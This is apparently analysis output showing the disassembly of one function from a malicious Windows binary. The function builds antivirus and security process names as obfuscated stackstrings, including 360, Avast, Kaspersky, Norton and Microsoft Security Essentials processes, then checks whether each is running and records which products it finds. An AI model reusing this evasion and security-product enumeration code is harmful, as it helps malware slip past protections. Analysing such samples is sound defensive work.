Function at 0x40bb8f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push ebx
push esi
push edi
xor ebx, ebx
push str.360tray.exe
mov byte [ebp - 0xb4], 0x61
mov byte [ebp - 0xb3], 0x32
mov byte [ebp - 0xb2], 0x67
mov byte [ebp - 0xb1], 0x75
mov byte [ebp - 0xb0], 0x61
mov byte [ebp - 0xaf], 0x72
mov byte [ebp - 0xae], 0x64
mov byte [ebp - 0xad], 0x2e
mov byte [ebp - 0xac], 0x65
mov byte [ebp - 0xab], 0x78
mov byte [ebp - 0xaa], 0x65
mov byte [ebp - 0xa9], bl
mov byte [ebp - 0x90], 0x54
mov byte [ebp - 0x8f], 0x6d
mov byte [ebp - 0x8e], 0x50
mov byte [ebp - 0x8d], 0x72
mov byte [ebp - 0x8c], 0x6f
mov byte [ebp - 0x8b], 0x78
mov byte [ebp - 0x8a], 0x79
mov byte [ebp - 0x89], 0x2e
mov byte [ebp - 0x88], 0x65
mov byte [ebp - 0x87], 0x78
mov byte [ebp - 0x86], 0x65
mov byte [ebp - 0x85], bl
mov byte [ebp - 0x54], 0x76
mov byte [ebp - 0x53], 0x73
mov byte [ebp - 0x52], 0x73
mov byte [ebp - 0x51], 0x65
mov byte [ebp - 0x50], 0x72
mov byte [ebp - 0x4f], 0x76
mov byte [ebp - 0x4e], 0x2e
mov byte [ebp - 0x4d], 0x65
mov byte [ebp - 0x4c], 0x78
mov byte [ebp - 0x4b], 0x65
mov byte [ebp - 0x4a], bl
mov byte [ebp - 0x28], 0x61
mov byte [ebp - 0x27], 0x76
mov byte [ebp - 0x26], 0x70
mov byte [ebp - 0x25], 0x2e
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x78
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], bl
mov byte [ebp - 0xd0], 0x4d
mov byte [ebp - 0xcf], 0x63
mov byte [ebp - 0xce], 0x73
mov byte [ebp - 0xcd], 0x68
mov byte [ebp - 0xcc], 0x69
mov byte [ebp - 0xcb], 0x65
mov byte [ebp - 0xca], 0x6c
mov byte [ebp - 0xc9], 0x64
mov byte [ebp - 0xc8], 0x2e
mov byte [ebp - 0xc7], 0x65
mov byte [ebp - 0xc6], 0x78
mov byte [ebp - 0xc5], 0x65
mov byte [ebp - 0xc4], bl
call fcn.0040eec6
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
pop ecx
test eax, eax
mov esi, 0x41dfb0
je 0x40bd24
nop
nop
nop
push 4
push ebx
push str.360tray.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c3fc
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x28]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40bd54
nop
nop
nop
push 4
lea eax, [ebp - 0x28]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c3f0
push esi
call edi
push 0x41b444
push esi
call edi
push str.KvMonXP.exe
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40bd86
nop
nop
nop
push 4
push ebx
push str.KvMonXP.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c3d8
push esi
call edi
push 0x41b444
push esi
call edi
push str.RavMonD.exe
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40bdb8
nop
nop
nop
push 4
push ebx
push str.RavMonD.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c3c0
push esi
call edi
push 0x41b444
push esi
call edi
push str.360sd.exe
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40bdea
nop
nop
nop
push 4
push ebx
push str.360sd.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.360
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0xd0]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40be20
nop
nop
nop
push 4
lea eax, [ebp - 0xd0]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c3a4
push esi
call edi
push 0x41b444
push esi
call edi
push 0x41c064
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40be68
nop
nop
nop
push 4
push ebx
push 0x41c064
mov byte [ebp - 0x44], 0x4e
mov byte [ebp - 0x43], 0x4f
mov byte [ebp - 0x42], 0x44
mov byte [ebp - 0x41], 0x33
mov byte [ebp - 0x40], 0x32
mov byte [ebp - 0x3f], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x44]
push eax
push esi
call edi
push 0x41b444
push esi
call edi
push str.kxetray.exe
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40be9a
nop
nop
nop
push 4
push ebx
push str.kxetray.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c38c
push esi
call edi
push 0x41b444
push esi
call edi
push str.knsdtray.exe
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40becc
nop
nop
nop
push 4
push ebx
push str.knsdtray.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c370
push esi
call edi
push 0x41b444
push esi
call edi
push 0x41c070
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40befe
nop
nop
nop
push 4
push ebx
push 0x41c070
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c364
push esi
call edi
push 0x41b444
push esi
call edi
push 0x41c080
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40bf30
nop
nop
nop
push 4
push ebx
push 0x41c080
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c35c
push esi
call edi
push 0x41b444
push esi
call edi
push str.AvastSvc.exe
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40bf80
nop
nop
nop
push 4
push ebx
push str.AvastSvc.exe
mov byte [ebp - 0x48], 0x61
mov byte [ebp - 0x47], 0x76
mov byte [ebp - 0x46], 0x61
mov byte [ebp - 0x45], 0x73
mov byte [ebp - 0x44], 0x74
mov byte [ebp - 0x43], 0xb1
mov byte [ebp - 0x42], 0xbe
mov byte [ebp - 0x41], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
push esi
call edi
push 0x41b444
push esi
call edi
push str.AYAgent.aye
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40bfb5
push 4
push ebx
push str.AYAgent.aye
call sub.MSVCRT.dll_memset
add esp, 0xc
nop
nop
nop
nop
nop
nop
push 0x41c334
push esi
call edi
push 0x41b444
push esi
call edi
push str.patray.exe
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40bfea
push 4
push ebx
push str.patray.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
nop
nop
nop
nop
nop
nop
push 0x41c320
push esi
call edi
push 0x41b444
push esi
call edi
push str.V3Svc.exe
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40c01c
nop
nop
nop
push 4
push ebx
push str.V3Svc.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c308
push esi
call edi
push 0x41b444
push esi
call edi
push str.avgwdsvc.exe
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40c04e
nop
nop
nop
push 4
push ebx
push str.avgwdsvc.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.AVG
push esi
call edi
push 0x41b444
push esi
call edi
push str.ccSetMgr.exe
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40c080
nop
nop
nop
push 4
push ebx
push str.ccSetMgr.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c2d4
push esi
call edi
push 0x41b444
push esi
call edi
push str.ashserv.exe
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40c0d4
mov byte [ebp - 0x48], 0x41
mov byte [ebp - 0x47], 0x76
mov byte [ebp - 0x46], 0x61
mov byte [ebp - 0x45], 0x73
mov byte [ebp - 0x44], 0x74
mov byte [ebp - 0x43], 0xb4
mov byte [ebp - 0x42], 0xa1
mov byte [ebp - 0x41], 0xbe
mov byte [ebp - 0x40], bl
nop
nop
nop
push 4
push ebx
push str.ashserv.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
push esi
call edi
push 0x41b444
push esi
call edi
push str.QUHLPSVC.EXE
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40c106
nop
nop
nop
push 4
push ebx
push str.QUHLPSVC.EXE
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.QUICK_HEAL
push esi
call edi
push 0x41b444
push esi
call edi
push str.mssecess.exe
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40c138
nop
nop
nop
push 4
push ebx
push str.mssecess.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c29c
push esi
call edi
push 0x41b444
push esi
call edi
push str.SavProgress.exe
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40c18c
mov byte [ebp - 0x48], 0x53
mov byte [ebp - 0x47], 0x6f
mov byte [ebp - 0x46], 0x70
mov byte [ebp - 0x45], 0x68
mov byte [ebp - 0x44], 0x6f
mov byte [ebp - 0x43], 0x73
mov byte [ebp - 0x42], 0xb1
mov byte [ebp - 0x41], 0xbe
mov byte [ebp - 0x40], bl
nop
nop
nop
push 4
push ebx
push str.SavProgress.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
push esi
call edi
push 0x41b444
push esi
call edi
push str.fsavgui.exe
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40c1e8
nop
nop
nop
push 4
push ebx
push str.fsavgui.exe
mov byte [ebp - 0x48], 0x46
mov byte [ebp - 0x47], 0x2d
mov byte [ebp - 0x46], 0x53
mov byte [ebp - 0x45], 0x65
mov byte [ebp - 0x44], 0x63
mov byte [ebp - 0x43], 0x75
mov byte [ebp - 0x42], 0x72
mov byte [ebp - 0x41], 0x65
mov byte [ebp - 0x40], 0xb1
mov byte [ebp - 0x3f], 0xbe
mov byte [ebp - 0x3e], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x54]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40c218
nop
nop
nop
push 4
lea eax, [ebp - 0x54]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c274
push esi
call edi
push 0x41b444
push esi
call edi
push str.remupd.exe
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40c24a
nop
nop
nop
push 4
push ebx
push str.remupd.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c25c
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x90]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40c280
nop
nop
nop
push 4
lea eax, [ebp - 0x90]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c364
push esi
call edi
push 0x41b444
push esi
call edi
push str.FortiTray.exe
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40c2b2
nop
nop
nop
push 4
push ebx
push str.FortiTray.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c244
push esi
call edi
push 0x41b444
push esi
call edi
mov byte [ebp - 0x9c], 0x4d
mov byte [ebp - 0x9b], 0x6f
mov byte [ebp - 0x9a], 0x6e
mov byte [ebp - 0x99], 0x67
mov byte [ebp - 0x98], 0x6f
mov byte [ebp - 0x97], 0x6f
mov byte [ebp - 0x96], 0x73
mov byte [ebp - 0x95], 0x61
mov byte [ebp - 0x94], 0x47
mov byte [ebp - 0x93], 0x55
mov byte [ebp - 0x92], 0x49
mov byte [ebp - 0x91], bl
mov byte [ebp - 0x190], 0x4b
mov byte [ebp - 0x18f], 0x37
mov byte [ebp - 0x18e], 0x54
mov byte [ebp - 0x18d], 0x53
mov byte [ebp - 0x18c], 0x65
mov byte [ebp - 0x18b], 0x63
mov byte [ebp - 0x18a], 0x75
mov byte [ebp - 0x189], 0x72
mov byte [ebp - 0x188], 0x69
mov byte [ebp - 0x187], 0x74
mov byte [ebp - 0x186], 0x79
mov byte [ebp - 0x185], 0x2e
mov byte [ebp - 0x184], 0x65
mov byte [ebp - 0x183], 0x78
mov byte [ebp - 0x182], 0x65
mov byte [ebp - 0x181], bl
mov byte [ebp - 0x60], 0x46
mov byte [ebp - 0x5f], 0x2d
mov byte [ebp - 0x5e], 0x50
mov byte [ebp - 0x5d], 0x52
mov byte [ebp - 0x5c], 0x4f
mov byte [ebp - 0x5b], 0x54
mov byte [ebp - 0x5a], 0x2e
mov byte [ebp - 0x59], 0x45
mov byte [ebp - 0x58], 0x58
mov byte [ebp - 0x57], 0x45
mov byte [ebp - 0x56], bl
mov byte [ebp - 0x150], 0x4b
mov byte [ebp - 0x14f], 0x53
mov byte [ebp - 0x14e], 0x61
mov byte [ebp - 0x14d], 0x66
mov byte [ebp - 0x14c], 0x65
mov byte [ebp - 0x14b], 0x54
mov byte [ebp - 0x14a], 0x72
mov byte [ebp - 0x149], 0x61
mov byte [ebp - 0x148], 0x79
mov byte [ebp - 0x147], 0x2e
mov byte [ebp - 0x146], 0x45
mov byte [ebp - 0x145], 0x58
mov byte [ebp - 0x144], 0x45
mov byte [ebp - 0x143], bl
mov byte [ebp - 0xf0], 0x51
mov byte [ebp - 0xef], 0x51
mov byte [ebp - 0xee], 0x50
mov byte [ebp - 0xed], 0x43
mov byte [ebp - 0xec], 0x54
mov byte [ebp - 0xeb], 0x72
mov byte [ebp - 0xea], 0x61
mov byte [ebp - 0xe9], 0x79
mov byte [ebp - 0xe8], 0x2e
mov byte [ebp - 0xe7], 0x65
mov byte [ebp - 0xe6], 0x78
mov byte [ebp - 0xe5], 0x65
mov byte [ebp - 0xe4], bl
mov byte [ebp - 0x130], 0x61
mov byte [ebp - 0x12f], 0x64
mov byte [ebp - 0x12e], 0x2d
mov byte [ebp - 0x12d], 0x77
mov byte [ebp - 0x12c], 0x61
mov byte [ebp - 0x12b], 0x74
mov byte [ebp - 0x12a], 0x63
mov byte [ebp - 0x129], 0x68
mov byte [ebp - 0x128], 0x2e
mov byte [ebp - 0x127], 0x65
mov byte [ebp - 0x126], 0x78
mov byte [ebp - 0x125], 0x65
mov byte [ebp - 0x124], bl
mov byte [ebp - 0x78], 0x66
mov byte [ebp - 0x77], 0x73
mov byte [ebp - 0x76], 0x61
mov byte [ebp - 0x75], 0x76
mov byte [ebp - 0x74], 0x33
mov byte [ebp - 0x73], 0x32
mov byte [ebp - 0x72], 0x2e
mov byte [ebp - 0x71], 0x65
mov byte [ebp - 0x70], 0x78
mov byte [ebp - 0x6f], 0x65
mov byte [ebp - 0x6e], bl
mov byte [ebp - 0x110], 0x63
mov byte [ebp - 0x10f], 0x6c
mov byte [ebp - 0x10e], 0x65
mov byte [ebp - 0x10d], 0x61
mov byte [ebp - 0x10c], 0x6e
mov byte [ebp - 0x10b], 0x65
mov byte [ebp - 0x10a], 0x72
mov byte [ebp - 0x109], 0x38
mov byte [ebp - 0x108], 0x2e
mov byte [ebp - 0x107], 0x65
mov byte [ebp - 0x106], 0x78
mov byte [ebp - 0x105], 0x65
mov byte [ebp - 0x104], bl
mov byte [ebp - 0x160], 0x76
mov byte [ebp - 0x15f], 0x62
mov byte [ebp - 0x15e], 0x61
mov byte [ebp - 0x15d], 0x33
mov byte [ebp - 0x15c], 0x32
mov byte [ebp - 0x15b], 0x6c
mov byte [ebp - 0x15a], 0x64
mov byte [ebp - 0x159], 0x65
mov byte [ebp - 0x158], 0x72
mov byte [ebp - 0x157], 0x2e
mov byte [ebp - 0x156], 0x65
mov byte [ebp - 0x155], 0x78
mov byte [ebp - 0x154], 0x65
mov byte [ebp - 0x153], bl
mov byte [ebp - 0x208], 0x43
mov byte [ebp - 0x207], 0x6f
mov byte [ebp - 0x206], 0x72
mov byte [ebp - 0x205], 0x61
mov byte [ebp - 0x204], 0x6e
mov byte [ebp - 0x203], 0x74
mov byte [ebp - 0x202], 0x69
mov byte [ebp - 0x201], 0x43
mov byte [ebp - 0x200], 0x6f
mov byte [ebp - 0x1ff], 0x6e
mov byte [ebp - 0x1fe], 0x74
mov byte [ebp - 0x1fd], 0x72
mov byte [ebp - 0x1fc], 0x6f
mov byte [ebp - 0x1fb], 0x6c
mov byte [ebp - 0x1fa], 0x43
mov byte [ebp - 0x1f9], 0x65
mov byte [ebp - 0x1f8], 0x6e
mov byte [ebp - 0x1f7], 0x74
mov byte [ebp - 0x1f6], 0x65
mov byte [ebp - 0x1f5], 0x72
mov byte [ebp - 0x1f4], 0x33
mov byte [ebp - 0x1f3], 0x32
mov byte [ebp - 0x1f2], 0x2e
mov byte [ebp - 0x1f1], 0x65
mov byte [ebp - 0x1f0], 0x78
mov byte [ebp - 0x1ef], 0x65
mov byte [ebp - 0x1ee], bl
mov byte [ebp - 0x170], 0x43
mov byte [ebp - 0x16f], 0x4d
mov byte [ebp - 0x16e], 0x43
mov byte [ebp - 0x16d], 0x54
mov byte [ebp - 0x16c], 0x72
mov byte [ebp - 0x16b], 0x61
mov byte [ebp - 0x16a], 0x79
mov byte [ebp - 0x169], 0x49
mov byte [ebp - 0x168], 0x63
mov byte [ebp - 0x167], 0x6f
mov byte [ebp - 0x166], 0x6e
mov byte [ebp - 0x165], 0x2e
mov byte [ebp - 0x164], 0x65
mov byte [ebp - 0x163], 0x78
mov byte [ebp - 0x162], 0x65
mov byte [ebp - 0x161], bl
mov byte [ebp - 0x140], 0x55
mov byte [ebp - 0x13f], 0x6e
mov byte [ebp - 0x13e], 0x54
mov byte [ebp - 0x13d], 0x68
mov byte [ebp - 0x13c], 0x72
mov byte [ebp - 0x13b], 0x65
mov byte [ebp - 0x13a], 0x61
mov byte [ebp - 0x139], 0x74
mov byte [ebp - 0x138], 0x2e
mov byte [ebp - 0x137], 0x65
mov byte [ebp - 0x136], 0x78
mov byte [ebp - 0x135], 0x65
mov byte [ebp - 0x134], bl
mov byte [ebp - 0x1ec], 0x43
mov byte [ebp - 0x1eb], 0x4b
mov byte [ebp - 0x1ea], 0x53
mov byte [ebp - 0x1e9], 0x6f
mov byte [ebp - 0x1e8], 0x66
mov byte [ebp - 0x1e7], 0x74
mov byte [ebp - 0x1e6], 0x53
mov byte [ebp - 0x1e5], 0x68
mov byte [ebp - 0x1e4], 0x69
mov byte [ebp - 0x1e3], 0x65
mov byte [ebp - 0x1e2], 0x64
mov byte [ebp - 0x1e1], 0x41
mov byte [ebp - 0x1e0], 0x6e
mov byte [ebp - 0x1df], 0x74
mov byte [ebp - 0x1de], 0x69
mov byte [ebp - 0x1dd], 0x76
mov byte [ebp - 0x1dc], 0x69
mov byte [ebp - 0x1db], 0x72
mov byte [ebp - 0x1da], 0x75
mov byte [ebp - 0x1d9], 0x73
mov byte [ebp - 0x1d8], 0x34
mov byte [ebp - 0x1d7], 0x2e
mov byte [ebp - 0x1d6], 0x65
mov byte [ebp - 0x1d5], 0x78
mov byte [ebp - 0x1d4], 0x65
mov byte [ebp - 0x1d3], bl
mov byte [ebp - 0x1b8], 0x41
mov byte [ebp - 0x1b7], 0x56
mov byte [ebp - 0x1b6], 0x57
mov byte [ebp - 0x1b5], 0x61
mov byte [ebp - 0x1b4], 0x74
mov byte [ebp - 0x1b3], 0x63
mov byte [ebp - 0x1b2], 0x68
mov byte [ebp - 0x1b1], 0x53
mov byte [ebp - 0x1b0], 0x65
mov byte [ebp - 0x1af], 0x72
mov byte [ebp - 0x1ae], 0x76
mov byte [ebp - 0x1ad], 0x69
mov byte [ebp - 0x1ac], 0x63
mov byte [ebp - 0x1ab], 0x65
mov byte [ebp - 0x1aa], 0x2e
mov byte [ebp - 0x1a9], 0x65
mov byte [ebp - 0x1a8], 0x78
mov byte [ebp - 0x1a7], 0x65
mov byte [ebp - 0x1a6], bl
mov byte [ebp - 0x1d0], 0x41
mov byte [ebp - 0x1cf], 0x72
mov byte [ebp - 0x1ce], 0x63
mov byte [ebp - 0x1cd], 0x61
mov byte [ebp - 0x1cc], 0x54
mov byte [ebp - 0x1cb], 0x61
mov byte [ebp - 0x1ca], 0x73
mov byte [ebp - 0x1c9], 0x6b
mov byte [ebp - 0x1c8], 0x73
mov byte [ebp - 0x1c7], 0x53
mov byte [ebp - 0x1c6], 0x65
mov byte [ebp - 0x1c5], 0x72
mov byte [ebp - 0x1c4], 0x76
mov byte [ebp - 0x1c3], 0x69
mov byte [ebp - 0x1c2], 0x63
mov byte [ebp - 0x1c1], 0x65
mov byte [ebp - 0x1c0], 0x2e
mov byte [ebp - 0x1bf], 0x65
mov byte [ebp - 0x1be], 0x78
mov byte [ebp - 0x1bd], 0x65
mov byte [ebp - 0x1bc], bl
mov byte [ebp - 0x6c], 0x69
mov byte [ebp - 0x6b], 0x70
mov byte [ebp - 0x6a], 0x74
mov byte [ebp - 0x69], 0x72
mov byte [ebp - 0x68], 0x61
mov byte [ebp - 0x67], 0x79
mov byte [ebp - 0x66], 0x2e
mov byte [ebp - 0x65], 0x65
mov byte [ebp - 0x64], 0x78
mov byte [ebp - 0x63], 0x65
mov byte [ebp - 0x62], bl
mov byte [ebp - 0x1a4], 0x50
mov byte [ebp - 0x1a3], 0x53
mov byte [ebp - 0x1a2], 0x61
mov byte [ebp - 0x1a1], 0x66
mov byte [ebp - 0x1a0], 0x65
mov byte [ebp - 0x19f], 0x53
mov byte [ebp - 0x19e], 0x79
mov byte [ebp - 0x19d], 0x73
mov byte [ebp - 0x19c], 0x54
mov byte [ebp - 0x19b], 0x72
mov byte [ebp - 0x19a], 0x61
mov byte [ebp - 0x199], 0x79
mov byte [ebp - 0x198], 0x2e
mov byte [ebp - 0x197], 0x65
mov byte [ebp - 0x196], 0x78
mov byte [ebp - 0x195], 0x65
mov byte [ebp - 0x194], bl
mov byte [ebp - 0xe0], 0x6e
mov byte [ebp - 0xdf], 0x73
mov byte [ebp - 0xde], 0x70
mov byte [ebp - 0xdd], 0x75
mov byte [ebp - 0xdc], 0x70
mov byte [ebp - 0xdb], 0x73
mov byte [ebp - 0xda], 0x76
mov byte [ebp - 0xd9], 0x63
mov byte [ebp - 0xd8], 0x2e
mov byte [ebp - 0xd7], 0x65
mov byte [ebp - 0xd6], 0x78
mov byte [ebp - 0xd5], 0x65
mov byte [ebp - 0xd4], bl
mov byte [ebp - 0x224], 0x53
mov byte [ebp - 0x223], 0x70
mov byte [ebp - 0x222], 0x79
mov byte [ebp - 0x221], 0x77
mov byte [ebp - 0x220], 0x61
mov byte [ebp - 0x21f], 0x72
mov byte [ebp - 0x21e], 0x65
mov byte [ebp - 0x21d], 0x54
mov byte [ebp - 0x21c], 0x65
mov byte [ebp - 0x21b], 0x72
mov byte [ebp - 0x21a], 0x6d
mov byte [ebp - 0x219], 0x69
mov byte [ebp - 0x218], 0x6e
mov byte [ebp - 0x217], 0x61
mov byte [ebp - 0x216], 0x74
mov byte [ebp - 0x215], 0x6f
mov byte [ebp - 0x214], 0x72
mov byte [ebp - 0x213], 0x53
mov byte [ebp - 0x212], 0x68
mov byte [ebp - 0x211], 0x69
mov byte [ebp - 0x210], 0x65
mov byte [ebp - 0x20f], 0x6c
mov byte [ebp - 0x20e], 0x64
mov byte [ebp - 0x20d], 0x2e
mov byte [ebp - 0x20c], 0x65
mov byte [ebp - 0x20b], 0x78
mov byte [ebp - 0x20a], 0x65
mov byte [ebp - 0x209], bl
mov byte [ebp - 0x180], 0x42
mov byte [ebp - 0x17f], 0x4b
mov byte [ebp - 0x17e], 0x61
mov byte [ebp - 0x17d], 0x76
mov byte [ebp - 0x17c], 0x53
mov byte [ebp - 0x17b], 0x65
mov byte [ebp - 0x17a], 0x72
mov byte [ebp - 0x179], 0x76
mov byte [ebp - 0x178], 0x69
mov byte [ebp - 0x177], 0x63
mov byte [ebp - 0x176], 0x65
mov byte [ebp - 0x175], 0x2e
mov byte [ebp - 0x174], 0x65
mov byte [ebp - 0x173], 0x78
mov byte [ebp - 0x172], 0x65
mov byte [ebp - 0x171], bl
mov byte [ebp - 0xa8], 0x4d
mov byte [ebp - 0xa7], 0x73
mov byte [ebp - 0xa6], 0x4d
mov byte [ebp - 0xa5], 0x70
mov byte [ebp - 0xa4], 0x45
mov byte [ebp - 0xa3], 0x6e
mov byte [ebp - 0xa2], 0x67
mov byte [ebp - 0xa1], 0x2e
mov byte [ebp - 0xa0], 0x65
mov byte [ebp - 0x9f], 0x78
mov byte [ebp - 0x9e], 0x65
mov byte [ebp - 0x9d], bl
mov byte [ebp - 0xc0], 0x53
mov byte [ebp - 0xbf], 0x42
mov byte [ebp - 0xbe], 0x41
mov byte [ebp - 0xbd], 0x4d
mov byte [ebp - 0xbc], 0x53
mov byte [ebp - 0xbb], 0x76
mov byte [ebp - 0xba], 0x63
mov byte [ebp - 0xb9], 0x2e
mov byte [ebp - 0xb8], 0x65
mov byte [ebp - 0xb7], 0x78
mov byte [ebp - 0xb6], 0x65
mov byte [ebp - 0xb5], bl
mov byte [ebp - 0x100], 0x63
mov byte [ebp - 0xff], 0x63
mov byte [ebp - 0xfe], 0x53
mov byte [ebp - 0xfd], 0x76
mov byte [ebp - 0xfc], 0x63
mov byte [ebp - 0xfb], 0x48
mov byte [ebp - 0xfa], 0x73
mov byte [ebp - 0xf9], 0x74
mov byte [ebp - 0xf8], 0x2e
mov byte [ebp - 0xf7], 0x65
mov byte [ebp - 0xf6], 0x78
mov byte [ebp - 0xf5], 0x65
mov byte [ebp - 0xf4], bl
mov byte [ebp - 0x30], 0x63
mov byte [ebp - 0x2f], 0x66
mov byte [ebp - 0x2e], 0x70
mov byte [ebp - 0x2d], 0x2e
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x2b], 0x78
mov byte [ebp - 0x2a], 0x65
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x10], 0x51
mov byte [ebp - 0xf], 0x51
mov byte [ebp - 0xe], 0x2e
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x78
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], bl
mov byte [ebp - 0x84], 0x53
mov byte [ebp - 0x83], 0x50
mov byte [ebp - 0x82], 0x49
mov byte [ebp - 0x81], 0x44
mov byte [ebp - 0x80], 0x65
mov byte [ebp - 0x7f], 0x72
mov byte [ebp - 0x7e], 0x2e
mov byte [ebp - 0x7d], 0x65
mov byte [ebp - 0x7c], 0x78
mov byte [ebp - 0x7b], 0x65
mov byte [ebp - 0x7a], bl
mov byte [ebp - 0x120], 0x66
mov byte [ebp - 0x11f], 0x2d
mov byte [ebp - 0x11e], 0x73
mov byte [ebp - 0x11d], 0x65
mov byte [ebp - 0x11c], 0x63
mov byte [ebp - 0x11b], 0x75
mov byte [ebp - 0x11a], 0x72
mov byte [ebp - 0x119], 0x65
mov byte [ebp - 0x118], 0x2e
mov byte [ebp - 0x117], 0x65
mov byte [ebp - 0x116], 0x78
mov byte [ebp - 0x115], 0x65
mov byte [ebp - 0x114], bl
mov byte [ebp - 0x3c], 0x4e
mov byte [ebp - 0x3b], 0x6f
mov byte [ebp - 0x3a], 0x72
mov byte [ebp - 0x39], 0x74
mov byte [ebp - 0x38], 0x6f
lea eax, [ebp - 0x150]
mov byte [ebp - 0x37], 0x6e
push eax
mov byte [ebp - 0x36], 0xb1
mov byte [ebp - 0x35], 0xbe
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x244], 0x4d
mov byte [ebp - 0x243], 0x69
mov byte [ebp - 0x242], 0x63
mov byte [ebp - 0x241], 0x72
mov byte [ebp - 0x240], 0x6f
mov byte [ebp - 0x23f], 0x73
mov byte [ebp - 0x23e], 0x6f
mov byte [ebp - 0x23d], 0x66
mov byte [ebp - 0x23c], 0x74
mov byte [ebp - 0x23b], 0x20
mov byte [ebp - 0x23a], 0x53
mov byte [ebp - 0x239], 0x65
mov byte [ebp - 0x238], 0x63
mov byte [ebp - 0x237], 0x75
mov byte [ebp - 0x236], 0x72
mov byte [ebp - 0x235], 0x69
mov byte [ebp - 0x234], 0x74
mov byte [ebp - 0x233], 0x79
mov byte [ebp - 0x232], 0x20
mov byte [ebp - 0x231], 0x45
mov byte [ebp - 0x230], 0x73
mov byte [ebp - 0x22f], 0x73
mov byte [ebp - 0x22e], 0x65
mov byte [ebp - 0x22d], 0x6e
mov byte [ebp - 0x22c], 0x74
mov byte [ebp - 0x22b], 0x69
mov byte [ebp - 0x22a], 0x61
mov byte [ebp - 0x229], 0x6c
mov byte [ebp - 0x228], 0x73
mov byte [ebp - 0x227], bl
mov byte [ebp - 0x18], 0x42
mov byte [ebp - 0x17], 0x6b
mov byte [ebp - 0x16], 0x61
mov byte [ebp - 0x15], 0x76
mov byte [ebp - 0x14], 0xb1
mov byte [ebp - 0x13], 0xbe
mov byte [ebp - 0x12], bl
mov byte [ebp - 8], 0x56
mov byte [ebp - 7], 0x49
mov byte [ebp - 6], 0x50
mov byte [ebp - 5], 0x52
mov byte [ebp - 4], 0x45
mov byte [ebp - 3], bl
mov byte [ebp - 0x20], 0x43
mov byte [ebp - 0x1f], 0x4f
mov byte [ebp - 0x1e], 0x4d
mov byte [ebp - 0x1d], 0x4f
mov byte [ebp - 0x1c], 0x44
mov byte [ebp - 0x1b], 0x4f
mov byte [ebp - 0x1a], bl
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40ce56
push 4
lea eax, [ebp - 0x150]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c238
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0xf0]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40ce89
push 4
lea eax, [ebp - 0xf0]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c230
push esi
call edi
push 0x41b444
push esi
call edi
